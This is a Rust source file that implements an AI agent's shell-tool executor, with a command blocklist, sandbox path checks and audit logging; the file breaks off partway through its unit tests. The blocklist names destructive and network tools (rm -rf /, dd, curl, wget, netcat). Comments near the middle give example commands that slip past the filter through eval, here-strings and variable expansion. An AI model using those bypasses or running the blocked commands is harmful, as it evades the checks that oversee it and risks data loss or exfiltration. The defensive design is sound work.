Skip to main content

zeph_tools/
shell.rs

1// SPDX-FileCopyrightText: 2026 Andrei G <bug-ops>
2// SPDX-License-Identifier: MIT OR Apache-2.0
3
4use std::path::PathBuf;
5use std::time::{Duration, Instant};
6
7use tokio::process::Command;
8use tokio_util::sync::CancellationToken;
9
10use schemars::JsonSchema;
11use serde::Deserialize;
12
13use std::sync::Arc;
14
15use crate::audit::{AuditEntry, AuditLogger, AuditResult, chrono_now};
16use crate::config::ShellConfig;
17use crate::executor::{
18    FilterStats, ToolCall, ToolError, ToolEvent, ToolEventTx, ToolExecutor, ToolOutput,
19};
20use crate::filter::{OutputFilterRegistry, sanitize_output};
21use crate::permissions::{PermissionAction, PermissionPolicy};
22
23const DEFAULT_BLOCKED: &[&str] = &[
24    "rm -rf /", "sudo", "mkfs", "dd if=", "curl", "wget", "nc ", "ncat", "netcat", "shutdown",
25    "reboot", "halt",
26];
27
28/// The default list of blocked command patterns used by [`ShellExecutor`].
29///
30/// Exposed so other executors (e.g. `AcpShellExecutor`) can reuse the same
31/// blocklist without duplicating it.
32pub const DEFAULT_BLOCKED_COMMANDS: &[&str] = DEFAULT_BLOCKED;
33
34/// Shell interpreters that may execute arbitrary code via `-c` or positional args.
35pub const SHELL_INTERPRETERS: &[&str] =
36    &["bash", "sh", "zsh", "fish", "dash", "ksh", "csh", "tcsh"];
37
38/// Subshell metacharacters that could embed a blocked command inside a benign wrapper.
39/// Commands containing these sequences are rejected outright because safe static
40/// analysis of nested shell evaluation is not feasible.
41const SUBSHELL_METACHARS: &[&str] = &["$(", "`", "<(", ">("];
42
43/// Check if `command` matches any pattern in `blocklist`.
44///
45/// Returns the matched pattern string if the command is blocked, `None` otherwise.
46/// The check is case-insensitive and handles common shell escape sequences.
47///
48/// Commands containing subshell metacharacters (`$(` or `` ` ``) are always
49/// blocked because nested evaluation cannot be safely analysed statically.
50#[must_use]
51pub fn check_blocklist(command: &str, blocklist: &[String]) -> Option<String> {
52    let lower = command.to_lowercase();
53    // Reject commands that embed subshell constructs to prevent blocklist bypass.
54    for meta in SUBSHELL_METACHARS {
55        if lower.contains(meta) {
56            return Some((*meta).to_owned());
57        }
58    }
59    let cleaned = strip_shell_escapes(&lower);
60    let commands = tokenize_commands(&cleaned);
61    for blocked in blocklist {
62        for cmd_tokens in &commands {
63            if tokens_match_pattern(cmd_tokens, blocked) {
64                return Some(blocked.clone());
65            }
66        }
67    }
68    None
69}
70
71/// Build the effective command string for blocklist evaluation when the binary is a
72/// shell interpreter (bash, sh, zsh, etc.) and args contains a `-c` script.
73///
74/// Returns `None` if the args do not follow the `-c <script>` pattern.
75#[must_use]
76pub fn effective_shell_command<'a>(binary: &str, args: &'a [String]) -> Option<&'a str> {
77    let base = binary.rsplit('/').next().unwrap_or(binary);
78    if !SHELL_INTERPRETERS.contains(&base) {
79        return None;
80    }
81    // Find "-c" and return the next element as the script to check.
82    let pos = args.iter().position(|a| a == "-c")?;
83    args.get(pos + 1).map(String::as_str)
84}
85
86const NETWORK_COMMANDS: &[&str] = &["curl", "wget", "nc ", "ncat", "netcat"];
87
88#[derive(Deserialize, JsonSchema)]
89pub(crate) struct BashParams {
90    /// The bash command to execute
91    command: String,
92}
93
94/// Bash block extraction and execution via `tokio::process::Command`.
95#[derive(Debug)]
96pub struct ShellExecutor {
97    timeout: Duration,
98    blocked_commands: Vec<String>,
99    allowed_paths: Vec<PathBuf>,
100    confirm_patterns: Vec<String>,
101    audit_logger: Option<Arc<AuditLogger>>,
102    tool_event_tx: Option<ToolEventTx>,
103    permission_policy: Option<PermissionPolicy>,
104    output_filter_registry: Option<OutputFilterRegistry>,
105    cancel_token: Option<CancellationToken>,
106    skill_env: std::sync::RwLock<Option<std::collections::HashMap<String, String>>>,
107}
108
109impl ShellExecutor {
110    #[must_use]
111    pub fn new(config: &ShellConfig) -> Self {
112        let allowed: Vec<String> = config
113            .allowed_commands
114            .iter()
115            .map(|s| s.to_lowercase())
116            .collect();
117
118        let mut blocked: Vec<String> = DEFAULT_BLOCKED
119            .iter()
120            .filter(|s| !allowed.contains(&s.to_lowercase()))
121            .map(|s| (*s).to_owned())
122            .collect();
123        blocked.extend(config.blocked_commands.iter().map(|s| s.to_lowercase()));
124
125        if !config.allow_network {
126            for cmd in NETWORK_COMMANDS {
127                let lower = cmd.to_lowercase();
128                if !blocked.contains(&lower) {
129                    blocked.push(lower);
130                }
131            }
132        }
133
134        blocked.sort();
135        blocked.dedup();
136
137        let allowed_paths = if config.allowed_paths.is_empty() {
138            vec![std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."))]
139        } else {
140            config.allowed_paths.iter().map(PathBuf::from).collect()
141        };
142
143        Self {
144            timeout: Duration::from_secs(config.timeout),
145            blocked_commands: blocked,
146            allowed_paths,
147            confirm_patterns: config.confirm_patterns.clone(),
148            audit_logger: None,
149            tool_event_tx: None,
150            permission_policy: None,
151            output_filter_registry: None,
152            cancel_token: None,
153            skill_env: std::sync::RwLock::new(None),
154        }
155    }
156
157    /// Set environment variables to inject when executing the active skill's bash blocks.
158    pub fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
159        match self.skill_env.write() {
160            Ok(mut guard) => *guard = env,
161            Err(e) => tracing::error!("skill_env RwLock poisoned: {e}"),
162        }
163    }
164
165    #[must_use]
166    pub fn with_audit(mut self, logger: Arc<AuditLogger>) -> Self {
167        self.audit_logger = Some(logger);
168        self
169    }
170
171    #[must_use]
172    pub fn with_tool_event_tx(mut self, tx: ToolEventTx) -> Self {
173        self.tool_event_tx = Some(tx);
174        self
175    }
176
177    #[must_use]
178    pub fn with_permissions(mut self, policy: PermissionPolicy) -> Self {
179        self.permission_policy = Some(policy);
180        self
181    }
182
183    #[must_use]
184    pub fn with_cancel_token(mut self, token: CancellationToken) -> Self {
185        self.cancel_token = Some(token);
186        self
187    }
188
189    #[must_use]
190    pub fn with_output_filters(mut self, registry: OutputFilterRegistry) -> Self {
191        self.output_filter_registry = Some(registry);
192        self
193    }
194
195    /// Execute a bash block bypassing the confirmation check (called after user confirms).
196    ///
197    /// # Errors
198    ///
199    /// Returns `ToolError` on blocked commands, sandbox violations, or execution failures.
200    pub async fn execute_confirmed(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
201        self.execute_inner(response, true).await
202    }
203
204    #[allow(clippy::too_many_lines)]
205    async fn execute_inner(
206        &self,
207        response: &str,
208        skip_confirm: bool,
209    ) -> Result<Option<ToolOutput>, ToolError> {
210        let blocks = extract_bash_blocks(response);
211        if blocks.is_empty() {
212            return Ok(None);
213        }
214
215        let mut outputs = Vec::with_capacity(blocks.len());
216        let mut cumulative_filter_stats: Option<FilterStats> = None;
217        #[allow(clippy::cast_possible_truncation)]
218        let blocks_executed = blocks.len() as u32;
219
220        for block in &blocks {
221            if let Some(ref policy) = self.permission_policy {
222                match policy.check("bash", block) {
223                    PermissionAction::Deny => {
224                        self.log_audit(
225                            block,
226                            AuditResult::Blocked {
227                                reason: "denied by permission policy".to_owned(),
228                            },
229                            0,
230                        )
231                        .await;
232                        return Err(ToolError::Blocked {
233                            command: (*block).to_owned(),
234                        });
235                    }
236                    PermissionAction::Ask if !skip_confirm => {
237                        return Err(ToolError::ConfirmationRequired {
238                            command: (*block).to_owned(),
239                        });
240                    }
241                    _ => {}
242                }
243            } else {
244                if let Some(blocked) = self.find_blocked_command(block) {
245                    self.log_audit(
246                        block,
247                        AuditResult::Blocked {
248                            reason: format!("blocked command: {blocked}"),
249                        },
250                        0,
251                    )
252                    .await;
253                    return Err(ToolError::Blocked {
254                        command: blocked.to_owned(),
255                    });
256                }
257
258                if !skip_confirm && let Some(pattern) = self.find_confirm_command(block) {
259                    return Err(ToolError::ConfirmationRequired {
260                        command: pattern.to_owned(),
261                    });
262                }
263            }
264
265            self.validate_sandbox(block)?;
266
267            if let Some(ref tx) = self.tool_event_tx {
268                let _ = tx.send(ToolEvent::Started {
269                    tool_name: "bash".to_owned(),
270                    command: (*block).to_owned(),
271                });
272            }
273
274            let start = Instant::now();
275            let skill_env_snapshot: Option<std::collections::HashMap<String, String>> =
276                self.skill_env.read().ok().and_then(|g| g.clone());
277            let (out, exit_code) = execute_bash(
278                block,
279                self.timeout,
280                self.tool_event_tx.as_ref(),
281                self.cancel_token.as_ref(),
282                skill_env_snapshot.as_ref(),
283            )
284            .await;
285            if exit_code == 130
286                && self
287                    .cancel_token
288                    .as_ref()
289                    .is_some_and(CancellationToken::is_cancelled)
290            {
291                return Err(ToolError::Cancelled);
292            }
293            #[allow(clippy::cast_possible_truncation)]
294            let duration_ms = start.elapsed().as_millis() as u64;
295
296            let is_timeout = out.contains("[error] command timed out");
297            let result = if is_timeout {
298                AuditResult::Timeout
299            } else if out.contains("[error]") || out.contains("[stderr]") {
300                AuditResult::Error {
301                    message: out.clone(),
302                }
303            } else {
304                AuditResult::Success
305            };
306            self.log_audit(block, result, duration_ms).await;
307
308            if is_timeout {
309                if let Some(ref tx) = self.tool_event_tx {
310                    let _ = tx.send(ToolEvent::Completed {
311                        tool_name: "bash".to_owned(),
312                        command: (*block).to_owned(),
313                        output: out.clone(),
314                        success: false,
315                        filter_stats: None,
316                        diff: None,
317                    });
318                }
319                return Err(ToolError::Timeout {
320                    timeout_secs: self.timeout.as_secs(),
321                });
322            }
323
324            let sanitized = sanitize_output(&out);
325            let mut per_block_stats: Option<FilterStats> = None;
326            let filtered = if let Some(ref registry) = self.output_filter_registry {
327                match registry.apply(block, &sanitized, exit_code) {
328                    Some(fr) => {
329                        tracing::debug!(
330                            command = block,
331                            raw = fr.raw_chars,
332                            filtered = fr.filtered_chars,
333                            savings_pct = fr.savings_pct(),
334                            "output filter applied"
335                        );
336                        let block_fs = FilterStats {
337                            raw_chars: fr.raw_chars,
338                            filtered_chars: fr.filtered_chars,
339                            raw_lines: fr.raw_lines,
340                            filtered_lines: fr.filtered_lines,
341                            confidence: Some(fr.confidence),
342                            command: Some((*block).to_owned()),
343                            kept_lines: fr.kept_lines.clone(),
344                        };
345                        let stats =
346                            cumulative_filter_stats.get_or_insert_with(FilterStats::default);
347                        stats.raw_chars += fr.raw_chars;
348                        stats.filtered_chars += fr.filtered_chars;
349                        stats.raw_lines += fr.raw_lines;
350                        stats.filtered_lines += fr.filtered_lines;
351                        stats.confidence = Some(match (stats.confidence, fr.confidence) {
352                            (Some(prev), cur) => crate::filter::worse_confidence(prev, cur),
353                            (None, cur) => cur,
354                        });
355                        if stats.command.is_none() {
356                            stats.command = Some((*block).to_owned());
357                        }
358                        if stats.kept_lines.is_empty() && !fr.kept_lines.is_empty() {
359                            stats.kept_lines.clone_from(&fr.kept_lines);
360                        }
361                        per_block_stats = Some(block_fs);
362                        fr.output
363                    }
364                    None => sanitized,
365                }
366            } else {
367                sanitized
368            };
369
370            if let Some(ref tx) = self.tool_event_tx {
371                let _ = tx.send(ToolEvent::Completed {
372                    tool_name: "bash".to_owned(),
373                    command: (*block).to_owned(),
374                    output: out.clone(),
375                    success: !out.contains("[error]"),
376                    filter_stats: per_block_stats,
377                    diff: None,
378                });
379            }
380            outputs.push(format!("$ {block}\n{filtered}"));
381        }
382
383        Ok(Some(ToolOutput {
384            tool_name: "bash".to_owned(),
385            summary: outputs.join("\n\n"),
386            blocks_executed,
387            filter_stats: cumulative_filter_stats,
388            diff: None,
389            streamed: self.tool_event_tx.is_some(),
390            terminal_id: None,
391            locations: None,
392            raw_response: None,
393        }))
394    }
395
396    fn validate_sandbox(&self, code: &str) -> Result<(), ToolError> {
397        let cwd = std::env::current_dir().unwrap_or_default();
398
399        for token in extract_paths(code) {
400            if has_traversal(&token) {
401                return Err(ToolError::SandboxViolation { path: token });
402            }
403
404            let path = if token.starts_with('/') {
405                PathBuf::from(&token)
406            } else {
407                cwd.join(&token)
408            };
409            let canonical = path
410                .canonicalize()
411                .or_else(|_| std::path::absolute(&path))
412                .unwrap_or(path);
413            if !self
414                .allowed_paths
415                .iter()
416                .any(|allowed| canonical.starts_with(allowed))
417            {
418                return Err(ToolError::SandboxViolation {
419                    path: canonical.display().to_string(),
420                });
421            }
422        }
423        Ok(())
424    }
425
426    /// Scan `code` for commands that match the configured blocklist.
427    ///
428    /// The function normalizes input via [`strip_shell_escapes`] (decoding `$'\xNN'`,
429    /// `$'\NNN'`, backslash escapes, and quote-splitting) and then splits on shell
430    /// metacharacters (`||`, `&&`, `;`, `|`, `\n`) via [`tokenize_commands`].  Each
431    /// resulting token sequence is tested against every entry in `blocked_commands`
432    /// through [`tokens_match_pattern`], which handles transparent prefixes (`env`,
433    /// `command`, `exec`, etc.), absolute paths, and dot-suffixed variants.
434    ///
435    /// # Known limitations
436    ///
437    /// The following constructs are **not** detected by this function:
438    ///
439    /// - **Here-strings** `<<<` with a shell interpreter: the outer command is the
440    ///   shell (`bash`, `sh`), which is not blocked by default; the payload string is
441    ///   opaque to this filter.
442    ///   Example: `bash <<< 'sudo rm -rf /'` — inner payload is not parsed.
443    ///
444    /// - **`eval` and `bash -c` / `sh -c`**: the string argument is not parsed; any
445    ///   blocked command embedded as a string argument passes through undetected.
446    ///   Example: `eval 'sudo rm -rf /'`.
447    ///
448    /// - **Variable expansion**: `strip_shell_escapes` does not resolve variable
449    ///   references, so `cmd=sudo; $cmd rm` bypasses the blocklist.
450    ///
451    /// `$(...)`, backtick, `<(...)`, and `>(...)` substitutions are detected by
452    /// [`extract_subshell_contents`], which extracts the inner command string and
453    /// checks it against the blocklist separately.  The default `confirm_patterns`
454    /// in [`ShellConfig`] additionally include `"$("`, `` "`" ``, `"<("`, `">("`,
455    /// `"<<<"`, and `"eval "`, so those constructs also trigger a confirmation
456    /// request via [`find_confirm_command`] before execution.
457    ///
458    /// For high-security deployments, complement this filter with OS-level sandboxing
459    /// (Linux namespaces, seccomp, or similar) to enforce hard execution boundaries.
460    fn find_blocked_command(&self, code: &str) -> Option<&str> {
461        let cleaned = strip_shell_escapes(&code.to_lowercase());
462        let commands = tokenize_commands(&cleaned);
463        for blocked in &self.blocked_commands {
464            for cmd_tokens in &commands {
465                if tokens_match_pattern(cmd_tokens, blocked) {
466                    return Some(blocked.as_str());
467                }
468            }
469        }
470        // Also check commands embedded inside subshell constructs.
471        for inner in extract_subshell_contents(&cleaned) {
472            let inner_commands = tokenize_commands(&inner);
473            for blocked in &self.blocked_commands {
474                for cmd_tokens in &inner_commands {
475                    if tokens_match_pattern(cmd_tokens, blocked) {
476                        return Some(blocked.as_str());
477                    }
478                }
479            }
480        }
481        None
482    }
483
484    fn find_confirm_command(&self, code: &str) -> Option<&str> {
485        let normalized = code.to_lowercase();
486        for pattern in &self.confirm_patterns {
487            if normalized.contains(pattern.as_str()) {
488                return Some(pattern.as_str());
489            }
490        }
491        None
492    }
493
494    async fn log_audit(&self, command: &str, result: AuditResult, duration_ms: u64) {
495        if let Some(ref logger) = self.audit_logger {
496            let entry = AuditEntry {
497                timestamp: chrono_now(),
498                tool: "shell".into(),
499                command: command.into(),
500                result,
501                duration_ms,
502            };
503            logger.log(&entry).await;
504        }
505    }
506}
507
508impl ToolExecutor for ShellExecutor {
509    async fn execute(&self, response: &str) -> Result<Option<ToolOutput>, ToolError> {
510        self.execute_inner(response, false).await
511    }
512
513    fn tool_definitions(&self) -> Vec<crate::registry::ToolDef> {
514        use crate::registry::{InvocationHint, ToolDef};
515        vec![ToolDef {
516            id: "bash".into(),
517            description: "Execute a shell command and return stdout/stderr.\n\nParameters: command (string, required) - shell command to run\nReturns: stdout and stderr combined, prefixed with exit code\nErrors: Blocked if command matches security policy; Timeout after configured seconds; SandboxViolation if path outside allowed dirs\nExample: {\"command\": \"ls -la /tmp\"}".into(),
518            schema: schemars::schema_for!(BashParams),
519            invocation: InvocationHint::FencedBlock("bash"),
520        }]
521    }
522
523    async fn execute_tool_call(&self, call: &ToolCall) -> Result<Option<ToolOutput>, ToolError> {
524        if call.tool_id != "bash" {
525            return Ok(None);
526        }
527        let params: BashParams = crate::executor::deserialize_params(&call.params)?;
528        if params.command.is_empty() {
529            return Ok(None);
530        }
531        let command = &params.command;
532        // Wrap as a fenced block so execute_inner can extract and run it
533        let synthetic = format!("```bash\n{command}\n```");
534        self.execute_inner(&synthetic, false).await
535    }
536
537    fn set_skill_env(&self, env: Option<std::collections::HashMap<String, String>>) {
538        ShellExecutor::set_skill_env(self, env);
539    }
540}
541
542/// Strip shell escape sequences that could bypass command detection.
543/// Handles: backslash insertion (`su\do` -> `sudo`), `$'\xNN'` hex and `$'\NNN'` octal
544/// escapes, adjacent quoted segments (`"su""do"` -> `sudo`), backslash-newline continuations.
545pub(crate) fn strip_shell_escapes(input: &str) -> String {
546    let mut out = String::with_capacity(input.len());
547    let bytes = input.as_bytes();
548    let mut i = 0;
549    while i < bytes.len() {
550        // $'...' ANSI-C quoting: decode \xNN hex and \NNN octal escapes
551        if i + 1 < bytes.len() && bytes[i] == b'$' && bytes[i + 1] == b'\'' {
552            let mut j = i + 2; // points after $'
553            let mut decoded = String::new();
554            let mut valid = false;
555            while j < bytes.len() && bytes[j] != b'\'' {
556                if bytes[j] == b'\\' && j + 1 < bytes.len() {
557                    let next = bytes[j + 1];
558                    if next == b'x' && j + 3 < bytes.len() {
559                        // \xNN hex escape
560                        let hi = (bytes[j + 2] as char).to_digit(16);
561                        let lo = (bytes[j + 3] as char).to_digit(16);
562                        if let (Some(h), Some(l)) = (hi, lo) {
563                            #[allow(clippy::cast_possible_truncation)]
564                            let byte = ((h << 4) | l) as u8;
565                            decoded.push(byte as char);
566                            j += 4;
567                            valid = true;
568                            continue;
569                        }
570                    } else if next.is_ascii_digit() {
571                        // \NNN octal escape (up to 3 digits)
572                        let mut val = u32::from(next - b'0');
573                        let mut len = 2; // consumed \N so far
574                        if j + 2 < bytes.len() && bytes[j + 2].is_ascii_digit() {
575                            val = val * 8 + u32::from(bytes[j + 2] - b'0');
576                            len = 3;
577                            if j + 3 < bytes.len() && bytes[j + 3].is_ascii_digit() {
578                                val = val * 8 + u32::from(bytes[j + 3] - b'0');
579                                len = 4;
580                            }
581                        }
582                        #[allow(clippy::cast_possible_truncation)]
583                        decoded.push((val & 0xFF) as u8 as char);
584                        j += len;
585                        valid = true;
586                        continue;
587                    }
588                    // other \X escape: emit X literally
589                    decoded.push(next as char);
590                    j += 2;
591                } else {
592                    decoded.push(bytes[j] as char);
593                    j += 1;
594                }
595            }
596            if j < bytes.len() && bytes[j] == b'\'' && valid {
597                out.push_str(&decoded);
598                i = j + 1;
599                continue;
600            }
601            // not a decodable $'...' sequence — fall through to handle as regular chars
602        }
603        // backslash-newline continuation: remove both
604        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] == b'\n' {
605            i += 2;
606            continue;
607        }
608        // intra-word backslash: skip the backslash, keep next char (e.g. su\do -> sudo)
609        if bytes[i] == b'\\' && i + 1 < bytes.len() && bytes[i + 1] != b'\n' {
610            i += 1;
611            out.push(bytes[i] as char);
612            i += 1;
613            continue;
614        }
615        // quoted segment stripping: collapse adjacent quoted segments
616        if bytes[i] == b'"' || bytes[i] == b'\'' {
617            let quote = bytes[i];
618            i += 1;
619            while i < bytes.len() && bytes[i] != quote {
620                out.push(bytes[i] as char);
621                i += 1;
622            }
623            if i < bytes.len() {
624                i += 1; // skip closing quote
625            }
626            continue;
627        }
628        out.push(bytes[i] as char);
629        i += 1;
630    }
631    out
632}
633
634/// Extract inner command strings from subshell constructs in `s`.
635///
636/// Recognises:
637/// - Backtick: `` `cmd` `` → `cmd`
638/// - Dollar-paren: `$(cmd)` → `cmd`
639/// - Process substitution (lt): `<(cmd)` → `cmd`
640/// - Process substitution (gt): `>(cmd)` → `cmd`
641///
642/// Depth counting handles nested parentheses correctly.
643pub(crate) fn extract_subshell_contents(s: &str) -> Vec<String> {
644    let mut results = Vec::new();
645    let chars: Vec<char> = s.chars().collect();
646    let len = chars.len();
647    let mut i = 0;
648
649    while i < len {
650        // Backtick substitution: `...`
651        if chars[i] == '`' {
652            let start = i + 1;
653            let mut j = start;
654            while j < len && chars[j] != '`' {
655                j += 1;
656            }
657            if j < len {
658                results.push(chars[start..j].iter().collect());
659            }
660            i = j + 1;
661            continue;
662        }
663
664        // $(...), <(...), >(...)
665        let next_is_open_paren = i + 1 < len && chars[i + 1] == '(';
666        let is_paren_subshell = next_is_open_paren && matches!(chars[i], '$' | '<' | '>');
667
668        if is_paren_subshell {
669            let start = i + 2;
670            let mut depth: usize = 1;
671            let mut j = start;
672            while j < len && depth > 0 {
673                match chars[j] {
674                    '(' => depth += 1,
675                    ')' => depth -= 1,
676                    _ => {}
677                }
678                if depth > 0 {
679                    j += 1;
680                } else {
681                    break;
682                }
683            }
684            if depth == 0 {
685                results.push(chars[start..j].iter().collect());
686            }
687            i = j + 1;
688            continue;
689        }
690
691        i += 1;
692    }
693
694    results
695}
696
697/// Split normalized shell code into sub-commands on `|`, `||`, `&&`, `;`, `\n`.
698/// Returns list of sub-commands, each as `Vec<String>` of tokens.
699pub(crate) fn tokenize_commands(normalized: &str) -> Vec<Vec<String>> {
700    // Replace two-char operators with a single separator, then split on single-char separators
701    let replaced = normalized.replace("||", "\n").replace("&&", "\n");
702    replaced
703        .split([';', '|', '\n'])
704        .map(|seg| {
705            seg.split_whitespace()
706                .map(str::to_owned)
707                .collect::<Vec<String>>()
708        })
709        .filter(|tokens| !tokens.is_empty())
710        .collect()
711}
712
713/// Transparent prefix commands that invoke the next argument as a command.
714/// Skipped when determining the "real" command name being invoked.
715const TRANSPARENT_PREFIXES: &[&str] = &["env", "command", "exec", "nice", "nohup", "time", "xargs"];
716
717/// Return the basename of a token (last path component after '/').
718fn cmd_basename(tok: &str) -> &str {
719    tok.rsplit('/').next().unwrap_or(tok)
720}
721
722/// Check if the first tokens of a sub-command match a blocked pattern.
723/// Handles:
724/// - Transparent prefix commands (`env sudo rm` -> checks `sudo`)
725/// - Absolute paths (`/usr/bin/sudo rm` -> basename `sudo` is checked)
726/// - Dot-suffixed variants (`mkfs` matches `mkfs.ext4`)
727/// - Multi-word patterns (`rm -rf /` joined prefix check)
728pub(crate) fn tokens_match_pattern(tokens: &[String], pattern: &str) -> bool {
729    if tokens.is_empty() || pattern.is_empty() {
730        return false;
731    }
732    let pattern = pattern.trim();
733    let pattern_tokens: Vec<&str> = pattern.split_whitespace().collect();
734    if pattern_tokens.is_empty() {
735        return false;
736    }
737
738    // Skip transparent prefix tokens to reach the real command
739    let start = tokens
740        .iter()
741        .position(|t| !TRANSPARENT_PREFIXES.contains(&cmd_basename(t)))
742        .unwrap_or(0);
743    let effective = &tokens[start..];
744    if effective.is_empty() {
745        return false;
746    }
747
748    if pattern_tokens.len() == 1 {
749        let pat = pattern_tokens[0];
750        let base = cmd_basename(&effective[0]);
751        // Exact match OR dot-suffixed variant (e.g. "mkfs" matches "mkfs.ext4")
752        base == pat || base.starts_with(&format!("{pat}."))
753    } else {
754        // Multi-word: join first N tokens (using basename for first) and check prefix
755        let n = pattern_tokens.len().min(effective.len());
756        let mut parts: Vec<&str> = vec![cmd_basename(&effective[0])];
757        parts.extend(effective[1..n].iter().map(String::as_str));
758        let joined = parts.join(" ");
759        if joined.starts_with(pattern) {
760            return true;
761        }
762        if effective.len() > n {
763            let mut parts2: Vec<&str> = vec![cmd_basename(&effective[0])];
764            parts2.extend(effective[1..=n].iter().map(String::as_str));
765            parts2.join(" ").starts_with(pattern)
766        } else {
767            false
768        }
769    }
770}
771
772fn extract_paths(code: &str) -> Vec<String> {
773    let mut result = Vec::new();
774
775    // Tokenize respecting single/double quotes
776    let mut tokens: Vec<String> = Vec::new();
777    let mut current = String::new();
778    let mut chars = code.chars().peekable();
779    while let Some(c) = chars.next() {
780        match c {
781            '"' | '\'' => {
782                let quote = c;
783                while let Some(&nc) = chars.peek() {
784                    if nc == quote {
785                        chars.next();
786                        break;
787                    }
788                    current.push(chars.next().unwrap());
789                }
790            }
791            c if c.is_whitespace() || matches!(c, ';' | '|' | '&') => {
792                if !current.is_empty() {
793                    tokens.push(std::mem::take(&mut current));
794                }
795            }
796            _ => current.push(c),
797        }
798    }
799    if !current.is_empty() {
800        tokens.push(current);
801    }
802
803    for token in tokens {
804        let trimmed = token.trim_end_matches([';', '&', '|']).to_owned();
805        if trimmed.is_empty() {
806            continue;
807        }
808        if trimmed.starts_with('/')
809            || trimmed.starts_with("./")
810            || trimmed.starts_with("../")
811            || trimmed == ".."
812        {
813            result.push(trimmed);
814        }
815    }
816    result
817}
818
819fn has_traversal(path: &str) -> bool {
820    path.split('/').any(|seg| seg == "..")
821}
822
823fn extract_bash_blocks(text: &str) -> Vec<&str> {
824    crate::executor::extract_fenced_blocks(text, "bash")
825}
826
827/// Kill a child process and its descendants.
828/// On unix, sends SIGKILL to child processes via `pkill -KILL -P <pid>` before
829/// killing the parent, preventing zombie subprocesses.
830async fn kill_process_tree(child: &mut tokio::process::Child) {
831    #[cfg(unix)]
832    if let Some(pid) = child.id() {
833        let _ = Command::new("pkill")
834            .args(["-KILL", "-P", &pid.to_string()])
835            .status()
836            .await;
837    }
838    let _ = child.kill().await;
839}
840
841async fn execute_bash(
842    code: &str,
843    timeout: Duration,
844    event_tx: Option<&ToolEventTx>,
845    cancel_token: Option<&CancellationToken>,
846    extra_env: Option<&std::collections::HashMap<String, String>>,
847) -> (String, i32) {
848    use std::process::Stdio;
849    use tokio::io::{AsyncBufReadExt, BufReader};
850
851    let timeout_secs = timeout.as_secs();
852
853    let mut cmd = Command::new("bash");
854    cmd.arg("-c")
855        .arg(code)
856        .stdout(Stdio::piped())
857        .stderr(Stdio::piped());
858    if let Some(env) = extra_env {
859        cmd.envs(env);
860    }
861    let child_result = cmd.spawn();
862
863    let mut child = match child_result {
864        Ok(c) => c,
865        Err(e) => return (format!("[error] {e}"), 1),
866    };
867
868    let stdout = child.stdout.take().expect("stdout piped");
869    let stderr = child.stderr.take().expect("stderr piped");
870
871    let (line_tx, mut line_rx) = tokio::sync::mpsc::channel::<String>(64);
872
873    let stdout_tx = line_tx.clone();
874    tokio::spawn(async move {
875        let mut reader = BufReader::new(stdout);
876        let mut buf = String::new();
877        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
878            let _ = stdout_tx.send(buf.clone()).await;
879            buf.clear();
880        }
881    });
882
883    tokio::spawn(async move {
884        let mut reader = BufReader::new(stderr);
885        let mut buf = String::new();
886        while reader.read_line(&mut buf).await.unwrap_or(0) > 0 {
887            let _ = line_tx.send(format!("[stderr] {buf}")).await;
888            buf.clear();
889        }
890    });
891
892    let mut combined = String::new();
893    let deadline = tokio::time::Instant::now() + timeout;
894
895    loop {
896        tokio::select! {
897            line = line_rx.recv() => {
898                match line {
899                    Some(chunk) => {
900                        if let Some(tx) = event_tx {
901                            let _ = tx.send(ToolEvent::OutputChunk {
902                                tool_name: "bash".to_owned(),
903                                command: code.to_owned(),
904                                chunk: chunk.clone(),
905                            });
906                        }
907                        combined.push_str(&chunk);
908                    }
909                    None => break,
910                }
911            }
912            () = tokio::time::sleep_until(deadline) => {
913                kill_process_tree(&mut child).await;
914                return (format!("[error] command timed out after {timeout_secs}s"), 1);
915            }
916            () = async {
917                match cancel_token {
918                    Some(t) => t.cancelled().await,
919                    None => std::future::pending().await,
920                }
921            } => {
922                kill_process_tree(&mut child).await;
923                return ("[cancelled] operation aborted".to_string(), 130);
924            }
925        }
926    }
927
928    let status = child.wait().await;
929    let exit_code = status.ok().and_then(|s| s.code()).unwrap_or(1);
930
931    if combined.is_empty() {
932        ("(no output)".to_string(), exit_code)
933    } else {
934        (combined, exit_code)
935    }
936}
937
938#[cfg(test)]
939mod tests {
940    use super::*;
941
942    fn default_config() -> ShellConfig {
943        ShellConfig {
944            timeout: 30,
945            blocked_commands: Vec::new(),
946            allowed_commands: Vec::new(),
947            allowed_paths: Vec::new(),
948            allow_network: true,
949            confirm_patterns: Vec::new(),
950        }
951    }
952
953    fn sandbox_config(allowed_paths: Vec<String>) -> ShellConfig {
954        ShellConfig {
955            allowed_paths,
956            ..default_config()
957        }
958    }
959
960    #[test]
961    fn extract_single_bash_block() {
962        let text = "Here is code:\n```bash\necho hello\n```\nDone.";
963        let blocks = extract_bash_blocks(text);
964        assert_eq!(blocks, vec!["echo hello"]);
965    }
966
967    #[test]
968    fn extract_multiple_bash_blocks() {
969        let text = "```bash\nls\n```\ntext\n```bash\npwd\n```";
970        let blocks = extract_bash_blocks(text);
971        assert_eq!(blocks, vec!["ls", "pwd"]);
972    }
973
974    #[test]
975    fn ignore_non_bash_blocks() {
976        let text = "```python\nprint('hi')\n```\n```bash\necho hi\n```";
977        let blocks = extract_bash_blocks(text);
978        assert_eq!(blocks, vec!["echo hi"]);
979    }
980
981    #[test]
982    fn no_blocks_returns_none() {
983        let text = "Just plain text, no code blocks.";
984        let blocks = extract_bash_blocks(text);
985        assert!(blocks.is_empty());
986    }
987
988    #[test]
989    fn unclosed_block_ignored() {
990        let text = "```bash\necho hello";
991        let blocks = extract_bash_blocks(text);
992        assert!(blocks.is_empty());
993    }
994
995    #[tokio::test]
996    #[cfg(not(target_os = "windows"))]
997    async fn execute_simple_command() {
998        let (result, code) =
999            execute_bash("echo hello", Duration::from_secs(30), None, None, None).await;
1000        assert!(result.contains("hello"));
1001        assert_eq!(code, 0);
1002    }
1003
1004    #[tokio::test]
1005    #[cfg(not(target_os = "windows"))]
1006    async fn execute_stderr_output() {
1007        let (result, _) =
1008            execute_bash("echo err >&2", Duration::from_secs(30), None, None, None).await;
1009        assert!(result.contains("[stderr]"));
1010        assert!(result.contains("err"));
1011    }
1012
1013    #[tokio::test]
1014    #[cfg(not(target_os = "windows"))]
1015    async fn execute_stdout_and_stderr_combined() {
1016        let (result, _) = execute_bash(
1017            "echo out && echo err >&2",
